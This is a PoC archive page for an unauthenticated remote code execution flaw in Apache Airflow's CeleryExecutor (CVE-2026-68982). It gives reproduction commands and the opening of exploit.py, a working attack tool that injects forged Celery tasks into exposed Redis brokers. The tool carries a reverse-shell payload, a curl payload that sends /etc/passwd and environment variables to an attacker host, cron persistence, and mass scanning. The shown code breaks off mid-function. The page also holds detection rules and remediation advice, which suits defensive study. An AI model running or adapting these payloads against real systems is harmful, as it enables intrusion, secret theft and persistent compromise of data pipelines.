PoC Archive PoC Archive
CVE-2026-68982 category: web CVSS 9.8 (CRITICAL)
Patched

Airflow-Ghost — Apache Airflow CeleryExecutor Unauthenticated RCE (CVE-2026-68982)

Published: 2026-11-25 • Researcher: Ghost-Bx1 (PoC); Or Sahar / Reflectiz (research, per repo README); Apache Airflow (advisory)

Target software Apache Airflow (CeleryExecutor, ExecuteCallback / deadline callback handling)
Affected versions Apache Airflow before 3.4.0 with CeleryExecutor enabled; fixed in 3.4.0 and later (NVD lists no CPE version ranges for this CVE — see references)
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-68982
Category
web
Affected product
Apache Airflow (CeleryExecutor, ExecuteCallback / deadline callback handling)
Affected versions
Apache Airflow before 3.4.0 with CeleryExecutor enabled; fixed in 3.4.0 and later (NVD lists no CPE version ranges for this CVE — see references)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-11
Author / ResearcherGhost-Bx1 (PoC); Or Sahar / Reflectiz (research, per repo README); Apache Airflow (advisory)
CVE / AdvisoryCVE-2026-68982
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
TagsRCE, unauthenticated, Apache Airflow, CeleryExecutor, Celery, Redis, broker, CWE-306, task-queue, Python
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Airflow (CeleryExecutor, ExecuteCallback / deadline callback handling)
Versions AffectedApache Airflow before 3.4.0 with CeleryExecutor enabled; fixed in 3.4.0 and later (NVD lists no CPE version ranges for this CVE — see references)
Language / PlatformPython; Linux or Windows workers; Redis or RabbitMQ Celery broker
Authentication RequiredNo (but write access to the Celery broker is required)
Network Access RequiredYes (TCP access to the broker, Redis default 6379)

Summary

Apache Airflow’s CeleryExecutor processes ExecuteCallback workloads, used for deadline-alert callbacks, without validating the workload’s authentication token. Anyone able to write to the Celery broker can enqueue a forged callback and execute arbitrary code on every CeleryExecutor worker, without Airflow credentials. This repository provides a Python client that speaks the Redis protocol, pushes a forged execute-command callback into a Celery queue, and offers command execution, reverse shell, data exfiltration and mass-scan modes. Deployments using the CeleryExecutor are affected; Airflow 3.4.0 and later claim the callback through the Execution API and validate the token before running it.

Vulnerability Details

Root Cause

CeleryExecutor workers trust callback workloads received over the Celery broker. For deadline-alert callbacks the worker dispatched the ExecuteCallback workload without validating the authentication token bound to that workload, which made the broker queue itself the trust boundary. A party with broker write access could therefore forge a callback that no Airflow component had authorized. The upstream fix, Apache Airflow PR #71192 (“Add single-use callback token for deadline callback context fetch”), makes the worker claim the callback through the Execution API and validate a single-use token before execution.

Attack Vector

The attacker connects directly to the Celery broker — Redis on 6379 by default, or RabbitMQ — and does not need Airflow web or API credentials. The PoC opens a raw socket to the broker, sends Redis RESP commands (PING/INFO/KEYS for reconnaissance, then LPUSH) to the target Celery queue, and supplies a JSON task payload naming the CeleryExecutor command task with the desired shell command. The worker dequeues the item and executes it. Only brokers reachable from the attacker are exposed; the upstream README cites Reflectiz reporting that 198 of 211 publicly reachable Redis brokers answered without authentication.

Impact

Arbitrary command execution as the worker process user on every CeleryExecutor worker that consumes the forged queue item. The shipped tooling supports single commands, an integrated reverse shell, exfiltration of /etc/passwd and environment variables, and mass injection across scanned broker ranges. Forged callbacks do not create Airflow task records or UI history, which makes the activity harder to spot through Airflow’s own audit surfaces. Worker compromise exposes DAG code, connection secrets and any credentials or files reachable from the worker.

Environment / Lab Setup

Output
OS:          Linux (worker host) or Windows
Target:      Apache Airflow < 3.4.0 with CeleryExecutor enabled and a
             reachable Celery broker (Redis 6379 or RabbitMQ); no lab
             compose file ships with this repository
Attacker:    Python 3.8+ (standard library only)
Tools:       Python 3, redis-cli (verification), netcat (reverse shell)

Setup Steps

Shell script
1
2
3
redis-cli -h <broker-host> -p 6379 PING

python3 poc.py --broker <broker-host> --check

Proof of Concept

Step-by-Step Reproduction

  1. Verify broker exposure — connect and query Redis without credentials.
    Shell script
    1
    
    python3 poc.py --broker <broker-host> --check
  2. Enqueue a command payload — push a forged callback onto the Celery queue.
    Shell script
    1
    
    python3 poc.py --broker <broker-host> --cmd "id > /tmp/pwned" --queue default
  3. Use the full exploit — command execution or reverse shell.
    Shell script
    1
    2
    
    python3 exploit.py --broker <broker-host> --cmd "id; whoami; cat /etc/passwd"
    python3 exploit.py --broker <broker-host> --reverse-shell --lhost <attacker-ip> --lport 4444
  4. Confirm on the worker — check the artifact or reverse-shell connection from the worker host, since the tool itself does not return command output.
    Shell script
    1
    
    cat /tmp/pwned

Exploit Code

See exploit.py and poc.py in this folder.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import socket, json

host, port, queue = "10.0.0.10", 6379, "default"
payload = {
    "id": "poc",
    "task": "airflow.executors.celery_executor.execute_command",
    "args": [["bash", "-c", "id"]],
    "kwargs": {},
}
body = json.dumps(payload)
req = f"*3\r\n$5\r\nLPUSH\r\n${len(queue)}\r\n{queue}\r\n${len(body)}\r\n{body}\r\n"

s = socket.create_connection((host, port), timeout=10)
s.sendall(req.encode())
print(s.recv(4096))

Expected Output

Output
1
2
3
4
5
6
7
8
[PoC] Verificando exposicao do broker Redis em 10.0.0.10:6379
[OK] Broker Redis acessivel!
[INFO] Redis version: 7.x
[VULN] Broker sem autenticacao - CVE-2026-68982 potencialmente exploravel!
[PoC] Injetando callback malicioso na fila 'default'
[CMD] Comando: id > /tmp/pwned
[OK] Payload enfileirado com sucesso!
[WAIT] Aguardando worker Airflow processar o callback...

The script prints only broker acknowledgements (Redis :1 for LPUSH); it does not capture command output. Actual execution must be confirmed on the worker (for example the contents of /tmp/pwned or an inbound reverse-shell connection).

Detection & Indicators of Compromise

  • Redis MONITOR/slowlog entries showing LPUSH into a Celery queue with JSON containing airflow.executors.celery_executor.execute_command, especially from hosts that are not Airflow workers or schedulers.
  • Reconnaissance against the broker: unauthenticated PING, INFO server and KEYS *celery* from unexpected clients.
  • Airflow worker processes spawning bash, sh, curl, python3 -c or /dev/tcp shells that are not associated with a running DAG task.
  • Execution with no corresponding task instance, DAG run or callback record in the Airflow metadata database or UI.
  • Outbound connections from worker hosts to unknown IPs on high ports (reverse shell) or HTTP servers (exfiltration).
  • Broker logs showing clients from untrusted network ranges, or Redis running with no requirepass.

SIEM / IDS rule (example):

Output
1
2
alert tcp any any -> any 6379 (msg:"Possible Airflow Celery broker command injection"; \
  content:"LPUSH"; content:"execute_command"; nocase; sid:9006892;)

Example Redis log line:

Output
1
10.0.0.5:51234 [0 10.0.0.10:6379] "LPUSH" "default" "{\"id\":\"...\",\"task\":\"airflow.executors.celery_executor.execute_command\",\"args\":[[\"bash\",\"-c\",\"id\"]]}"

Remediation

ActionDetail
PatchUpgrade to apache-airflow 3.4.0 or later, which includes PR #71192 (single-use callback token validated through the Execution API); restart scheduler and all CeleryExecutor workers.
WorkaroundRestrict broker access to Airflow components only, enable Redis requirepass or RabbitMQ authentication with TLS, rotate broker credentials, and keep 6379/5672 off untrusted networks. Consider a non-Celery executor if Celery is not required.
Config HardeningBind the broker to a private interface, firewall it from everything except scheduler/workers, monitor LPUSH and MONITOR activity, and alert on worker child processes not tied to a DAG run.

References

Notes

Auto-ingested from https://github.com/Ghost-Bx1/cve-2026-68982-airflow-celery-rce on 2026-11-25.

Review verdict: the repository contains genuine exploit-intent code — raw Redis RESP client, forged Celery callback injection, command execution, reverse shell, exfiltration and mass-scan modes — not a detector or audit tool. It is archived as a limited PoC rather than a weaponized chain: only two Python files ship, there is no local lab or docker-compose, and the pushed body is a bare JSON task dictionary rather than a Celery protocol v2 envelope with body/headers/properties fields, so a stock Celery worker may reject it. The author does not demonstrate command output, and the tool does not confirm execution. Status is therefore PoC, and the actual exploit path needs validation in an isolated Airflow < 3.4.0 lab. Do not run against systems without written authorization.

License: Unlicense / public domain (LICENSE file included). One data anomaly: the NVD reference list includes https://www.cve.org/CVERecord?id=CVE-2020-11981, which is an unrelated older Airflow/Celery vulnerability record; it is not cited as support for this issue. NVD provides no CPE configuration or version ranges for CVE-2026-68982, so the affected range above is taken from the Apache advisory text (fixed in 3.4.0).

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Ghost-Bx1/cve-2026-68982-airflow-celery-rce (see README for attribution/license)
"""
CVE-2026-68982 - Apache Airflow CeleryExecutor Unauthenticated RCE
===================================================================
Exploit completo: scan de brokers expostos, injecao de reverse shell,
exfiltracao de dados e persistencia via worker Airflow.

CVSS: 9.8 Critical | Apache Airflow < 3.4.0
Fix:  Airflow 3.4.0+ (PR #71192 - validacao de token no ExecuteCallback)

Autor: By Gh0st-Bx1 | github.com/Ghost-Bx1
"""

import argparse
import sys
import json
import socket
import struct
import os
import time
import threading
import uuid
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed

VERSAO = "1.2.0"


def _build_banner():
    import re as _re
    G = "\033[92m"; Cy = "\033[96m"; D = "\033[2m"; N = "\033[1m"
    W = "\033[97m"; X = "\033[0m"
    IW = 68; sp = " " * IW
    TL = "╔"; TR = "╗"; BL = "╚"; BR = "╝"; VB = "║"
    eq = "═" * IW
    hl44 = "─" * 44; bar = "│"
    vl = lambda s: len(_re.sub(r"\x1b\[[0-9;]*m", "", s))

    def _row(s):
        n = vl(s); p = max(0, IW - n); l = p // 2; r = p - l
        return f"{G}{VB}{X}{' ' * l}{s}{' ' * r}{G}{VB}{X}"

    def _row_l(s):
        n = vl(s); p = max(0, IW - n - 2)
        return f"{G}{VB}{X}  {s}{' ' * p}{G}{VB}{X}"

    ga = [
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠛⠛⠿⠟⠉⠛⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠉⢀⣠⣤⣶⣶⣶⣶⣶⣶⣤⣀⠢⢝⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⡡⢀⣴⡿⢋⡴⢿⣿⣿⣿⣿⣿⣿⣿⢷⣦⡑⠈⡛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⡜⢠⣾⣿⣤⣋⣴⣿⣿⣿⣿⣿⣿⣿⣿⣷⣌⠻⣶⣦⣤⣤⣀⠉⠻⣿⣿⣿⡿⠿⢛⢛⡻⠿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⠿⠟⠟⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⢀⣿⣿⣿⡿⠛⠛⠻⣿⣿⣿⡿⠛⠛⢿⣿⣿⣧⠉⠉⣁⣈⣉⣁⢀⣿⣿⢋⠄⣁⣴⣶⣄⠐⢌⢻⣿⣿{X}", ""),
        ("", f"{G}⡏⠀⣴⣦⣄⠢⡙⢿⣿⣿⣿⣿⣿⣿⡇⠀⣼⣿⣿⣿⠅⠀⠀⠀⢹⣿⡿⠁⠀⠀⠀⢹⣿⣿⡆⠀⣿⣿⣿⣿⣿⡟⠁⢀⣴⣿⣿⣿⣿⣷⡈⠎⢿⣿{X}", ""),
        ("", f"{G}⡇⠀⣿⣿⣿⣷⣌⠀⠙⢿⣿⣿⣿⣿⠀⢀⣿⣿⣿⣿⠀⠀⠀⠀⠈⣿⡇⠀⠀⠀⠀⠈⢿⣿⡇⠁⢻⣿⣿⣿⡿⠁⢠⣾⣿⣿⣿⡿⢿⣿⣷⠀⠘⣿{X}", ""),
        ("", f"{G}⣇⠀⢿⣿⣿⡟⣿⣷⣄⠀⠙⢿⣿⡇⠀⣸⣿⣿⡿⣿⡀⠀⠀⠀⢸⣿⣧⠀⠀⠀⠀⣸⡈⣿⣷⠀⡈⣿⣿⡿⠁⢀⣾⣿⣿⢩⣿⠁⣾⣿⣿⡆⠀⢿{X}", ""),
        ("", f"{G}⣿⡀⠘⣿⣿⣿⡘⣿⣿⣷⣌⠂⠉⠁⢠⣿⣿⡟⣰⢿⣷⣤⣤⣴⣿⣿⣿⣷⣄⣠⣴⣿⣧⠸⣿⣧⡐⠢⠉⠁⢀⣾⣿⣿⡇⣼⣿⢸⣿⣿⣿⣇⠀⢸{X}", ""),
        ("", f"{G}⣿⣷⡀⠸⣿⣿⣧⠸⣿⣿⣿⣿⣶⣶⣿⣿⠏⡰⢃⣾⣿⣿⣿⣿⡏⠀⠈⣿⣿⣿⣿⣿⣏⠳⣘⣿⣿⣷⣶⣾⣿⣿⣿⣿⢠⣿⣿⣿⣿⣿⣿⣿⠀⢸{X}", ""),
        ("", f"{G}⣿⣿⡇⠀⣿⣿⣿⡄⡿⢿⣿⣿⣿⣿⣿⣷⣾⣷⣿⣿⣿⣿⣿⣿⣧⣀⣠⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⡇⠸⠋⢉⠉⡉⠛⠿⣿⠀⢸{X}", ""),
        ("", f"{G}⣿⣿⡇⢀⣿⣿⣿⣧⢸⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⢠⣾⣿⡄⠈⠀⠀⠀⠀⣾{X}", ""),
        ("", f"{G}⣿⡟⠀⣸⣿⣿⣿⣿⣜⡇⢿⣧⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⡉⠻⠇⠀⠰⠀⠀⣀⣾{X}", ""),
        ("", f"{G}⣿⠃⢠⣿⣿⠿⠿⠿⢿⣿⠸⣿⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⢣⢸⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⢰⠜⠋⠀⢀⡄⢰⣤⡀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠃⢻⣿⣿{X}", ""),
        ("", f"{G}⣿⣆⠠⠀⡀⠀⠁⣿⣿⠟⠀⣽⣿⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢻⣿⣿⣿⣿⣿⢃⣿⣿⣿⡟⣸⣿⣿⣿⣿⡿⠋⢠⢃⣾⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣷⣶⠆⡄⠈⢉⣠⣴⣾⣿⢿⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⢋⣴⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿⠇⠛⢏⠉⠉⠁⠤⢊⣥⣾⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⢄⠀⢾⣿⣿⣿⣿⡇⢸⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣶⣬⣭⣶⣾⣿⣿⠏⣼⣿⣿⣿⡇⣸⣿⣿⣿⠀⣰⣿⡁⢠⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣤⣀⡀⠀⠀⠉⠉⠁⢸⣿⣿⣿⢸⣿⣿⣿⣿⡹⣿⣿⣿⣿⣿⣿⣿⣿⠋⣼⣿⣿⣿⣿⠇⣿⣿⣿⣿⡀⠹⢿⡇⠀⢿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠛⠀⣼⣿⣿⣿⢸⣿⣿⢻⣿⣷⣌⠻⣿⣿⣿⣿⠟⣡⣾⣿⡟⣼⣿⣿⠀⣿⣿⣿⣿⣿⣶⣤⡀⠀⢸⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⠈⠀⣴⣾⣿⣿⣿⡇⢸⣿⣿⣇⢻⣿⣿⣷⣦⣭⣭⣴⣾⣿⣿⣿⢡⣿⣿⣿⠀⣿⣿⣿⣿⣿⠿⠟⠃⡀⢸⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⡐⠠⢈⡉⠛⠛⠿⡇⢸⣿⣿⣿⡜⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⣼⣿⣿⣿⠀⣁⣤⡄⠀⣀⣒⣀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⡌⠀⣦⠀⣼⣿⣿⣿⣇⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⢁⣿⣿⣿⣿⣄⡈⠛⠃⠐⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⢁⣤⣿⣿⣿⣿⣿⠘⣿⣿⣿⣿⣿⣿⣿⣿⡟⢸⣿⣿⣿⣿⣿⣿⣦⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠠⣿⣿⣿⣿⣿⣿⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⡇⢼⠿⠿⣿⣿⣿⣿⠟⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠈⣙⠛⠛⣛⣛⠛⠀⠻⢿⣿⣿⣿⣿⣿⣿⡃⢠⣤⠀⠀⣀⣉⣁⣀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣶⣶⣤⡀⢀⠈⢿⣿⣿⣿⣿⣷⣄⠁⠀⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠁⠈⣿⣿⣿⣿⣿⣿⡆⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠠⢠⣿⣿⣿⣿⣿⠟⢀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡗⠀⢸⣿⣿⣿⡿⢁⡄⣡⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠰⠘⣿⣿⣿⠁⠎⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡑⠈⠻⠇⠈⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
    ]

    info = [
        f"{G}{N}CVE-2026-68982 - Apache Airflow CeleryExecutor RCE {X}",
        f"{Cy}v{VERSAO}  {D}broker scan + payload inject + reverse shell + mass{X}",
        f"{D}{hl44}{X}",
        f"{W}By Gh0st-Bx1  {D}{bar}  github.com/Ghost-Bx1{X}",
        f"{D}{hl44}{X}",
        f"{D}--broker <HOST>  --reverse-shell  --lhost <IP>  --lport <P>{X}",
        f"{D}CVSS 9.8 | Airflow < 3.4.0 | CeleryExecutor | Unauthenticated{X}",
    ]

    out = [f"{G}{TL}{eq}{TR}{X}", f"{G}{VB}{sp}{VB}{X}"]
    for left, center, right in ga:
        out.append(_row(left + center + right))
    out.append(f"{G}{VB}{sp}{VB}{X}")
    for i in info:
        out.append(_row_l(i))
    out += [f"{G}{VB}{sp}{VB}{X}", f"{G}{BL}{eq}{BR}{X}"]
    return "\n".join(out)


BANNER = _build_banner()

C = {
    "R": "\033[91m", "G": "\033[92m", "Y": "\033[93m", "C": "\033[96m",
    "W": "\033[97m", "X": "\033[0m",  "N": "\033[1m",  "D": "\033[2m",
}

TIMEOUT = 10
_SILENT = False
_SCAN_RESULTS = []
_SCAN_LOCK = threading.Lock()


def _log(tag, msg, cor="G"):
    if _SILENT:
        return
    ts = datetime.now().strftime("%H:%M:%S")
    c = C.get(cor, C["G"])
    print(f"  {C['D']}[{ts}]{C['X']} {c}[{tag}]{C['X']} {msg}")


# ---------------------------------------------------------------------------
# Redis RESP protocol
# ---------------------------------------------------------------------------

def _resp_cmd(*args) -> bytes:
    out = f"*{len(args)}\r\n".encode()
    for a in args:
        b = a if isinstance(a, bytes) else str(a).encode()
        out += f"${len(b)}\r\n".encode() + b + b"\r\n"
    return out


def _redis_connect(host: str, port: int, password: str = None) -> socket.socket:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(TIMEOUT)
    s.connect((host, port))
    if password:
        s.sendall(_resp_cmd("AUTH", password))
        resp = s.recv(128)
        if b"+OK" not in resp:
            raise ConnectionError(f"AUTH falhou: {resp!r}")
    return s


def _redis_recv_full(s: socket.socket) -> bytes:
    buf = b""
    s.settimeout(3)
    try:
        while True:
            chunk = s.recv(8192)
            if not chunk:
                break
            buf += chunk
            if b"\r\n" in buf:
                break
    except socket.timeout:
        pass
    return buf


def _redis_cmd(s: socket.socket, *args) -> bytes:
    s.sendall(_resp_cmd(*args))
    return _redis_recv_full(s)


# ---------------------------------------------------------------------------
# Payloads
# ---------------------------------------------------------------------------

def _payload_reverse_shell(lhost: str, lport: int) -> str:
    return (
        f"python3 -c 'import socket,subprocess,os;"
        f"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
        f"s.connect((\"{lhost}\",{lport}));"
        f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
        f"subprocess.call([\"/bin/sh\",\"-i\"])'"
    )


def _payload_exfil(lhost: str, lport: int) -> str:
    return (
        f"bash -c 'curl -s http://{lhost}:{lport}/?h=$(hostname)&u=$(whoami)"
        f"&p=$(cat /etc/passwd|base64 -w0)&e=$(env|base64 -w0) &'"
    )


def _payload_persistence(cmd_b64: str) -> str:
    return (
        f"bash -c 'echo {cmd_b64} | base64 -d >> /etc/cron.d/airflow_update "
        f"&& chmod 644 /etc/cron.d/airflow_update'"
    )


def _build_celery_payload(cmd: str, task_id: str = None) -> dict:
    if not task_id:
        task_id = str(uuid.uuid4())
    return {
        "id":      task_id,
        "task":    "airflow.executors.celery_executor.execute_command",
        "args":    [["bash", "-c", cmd]],
        "kwargs":  {},
        "retries": 0,
        "eta":     None,
        "expires": None,
        "utc":     True,
        "callbacks":  None,
        "errbacks":   None,
        "timelimit":  [None, None],
        "taskset":    None,
        "chord":      None,
    }


def _enqueue(s: socket.socket, queue: str, cmd: str) -> str:
    payload = _build_celery_payload(cmd)
    body = json.dumps(payload)
    _redis_cmd(s, "LPUSH", queue, body)
    return payload["id"]


# ---------------------------------------------------------------------------
# Scan de alvos
# ---------------------------------------------------------------------------

def _scan_target(host: str, port: int, password: str = None) -> dict:
    resultado = {"host": host, "port": port, "vuln": False}
    try:
        s = _redis_connect(host, port, password)
        resp = _redis_cmd(s, "PING")
        if b"+PONG" in resp or b"PONG" in resp:
            resultado["vuln"] = True
            # Versao Redis
            info = _redis_cmd(s, "INFO", "server")
            for line in info.split(b"\r\n"):
                if line.startswith(b"redis_version:"):
                    resultado["version"] = line.split(b":")[1].decode().strip()
                    break
            # Filas Celery
            keys_resp = _redis_cmd(s, "KEYS", "*")
            keys = []
            for k in keys_resp.split(b"\r\n"):
                k = k.strip()
                if k and not k.startswith(b"*") and not k.startswith(b"$") and not k.startswith(b":"):
                    keys.append(k.decode(errors="replace"))
            resultado["keys"] = keys[:20]
            celery_q = [k for k in keys if "celery" in k.lower() or "airflow" in k.lower()]
            resultado["airflow_queues"] = celery_q
        s.close()
    except Exception:
        pass
    return resultado


def scan_range(targets: list, port: int, threads: int = 50, password: str = None):
    _log("SCAN", f"Iniciando scan em {len(targets)} alvos (threads={threads})", "C")
    vulns = []
    with ThreadPoolExecutor(max_workers=threads) as ex:
        futs = {ex.submit(_scan_target, t, port, password): t for t in targets}
        for f in as_completed(futs):
            r = f.result()
            if r["vuln"]:
                _log("VULN", f"{r['host']}:{r['port']} - Redis exposto! "
                     f"queues={r.get('airflow_queues', [])}", "R")
                vulns.append(r)
            else:
                _log("SKIP", f"{r['host']} - sem resposta", "D")
    _log("SCAN", f"Scan concluido. {len(vulns)} alvos vulneraveis.", "G")
    return vulns


# ---------------------------------------------------------------------------
# Listener reverse shell
# ---------------------------------------------------------------------------

def _listen_shell(lport: int):
    _log("LISTEN", f"Aguardando conexao na porta {lport}...", "C")
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("0.0.0.0", lport))
    srv.listen(1)
    conn, addr = srv.accept()
    _log("SHELL", f"Conexao recebida de {addr[0]}:{addr[1]}", "G")
    print(f"\n  {C['G']}[SHELL]{C['X']} Pressione Ctrl+C para sair.\n")
    try:
        import select
        while True:
            r, _, _ = select.select([conn, sys.stdin], [], [], 1)
            if conn in r:
